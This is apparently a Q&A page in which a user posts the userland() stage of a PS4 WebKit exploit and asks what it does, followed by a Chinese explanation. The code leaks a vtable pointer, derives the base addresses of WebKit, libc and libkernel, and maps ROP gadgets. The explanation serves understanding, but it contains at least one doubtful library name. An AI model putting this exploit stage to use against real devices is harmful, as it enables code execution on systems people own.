function userland() { //RW -> ROP method is strongly based off of: //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit p.launch_chain = launch_chain; p.malloc = malloc; p.malloc32 = malloc32; p.stringify = stringify; p.array_from_address = array_from_address; p.readstr = readstr; //pointer to vtable address var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); //address of vtable var textAreaVtable = p.read8(textAreaVtPtr); //use address of 1st entry (in .text) to calculate webkitbase webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); for (var gadget in wk_gadgetmap) { window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); } for (var gadget in wkr_gadgetmap) { window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); }请解释以上代码?
时间: 2024-04-18 14:33:57 浏览: 115
hexFW-Wii U的自定义固件框架-C/C++开发
以上代码是一个JavaScript函数`userland()`的实现。该函数包含了一些操作和变量定义,下面对其中的关键部分进行解释:
1. `p`是一个对象,它包含了一些方法和属性。这些方法和属性用于执行一些特定的操作,如执行ROP(Return-Oriented Programming)链、动态分配内存、字符串处理等。
2. `textArea`是一个变量,它表示一个TextArea元素对象。
3. `textAreaVtPtr`是一个变量,它存储了`textArea`对象的vtable地址。
4. `textAreaVtable`是一个变量,它存储了vtable的地址。
5. `webKitBase`是一个变量,它存储了WebKit内存基址的值。通过读取vtable的第一个入口的地址并减去偏移量`OFFSET_wk_vtable_first_element`计算得出。
6. `libSceLibcInternalBase`是一个变量,它存储了`libSceLibcInternal.so`库的基址。通过解析WebKit中的导入函数`memset`的地址,然后减去偏移量`OFFSET_libcint_memset`计算得出。
7. `libKernelBase`是一个变量,它存储了`libkernel.so`库的基址。通过解析WebKit中的导入函数`__stack_chk_fail`的地址,然后减去偏移量`OFFSET_lk___stack_chk_fail`计算得出。
8. `webKitRequirementBase`是一个变量,它存储了WebKit的需求库`libps4.sprx`的基址。通过解析WebKit中的导入函数`psl_builtin`的地址,然后减去偏移量`OFFSET_WKR_psl_builtin`计算得出。
9. `wk_gadgetmap`和`wkr_gadgetmap`是两个映射对象,分别存储了WebKit和WebKit需求库的gadget(指令序列)和其对应的地址。这些gadget可以用于构建ROP链。
10. 在循环中,将gadget与其对应的地址添加到全局对象`window.gadgets`中。
总体来说,以上代码是在执行一系列操作来获取和计算一些重要的地址,为后续的ROP链构建做准备。ROP链是一种利用程序中已有的代码片段(gadget)来实现特定功能的技术。这段代码通过解析WebKit中的导入函数地址来获取库的基址,并根据预先定义的gadget映射,将它们添加到全局对象中以备后续使用。
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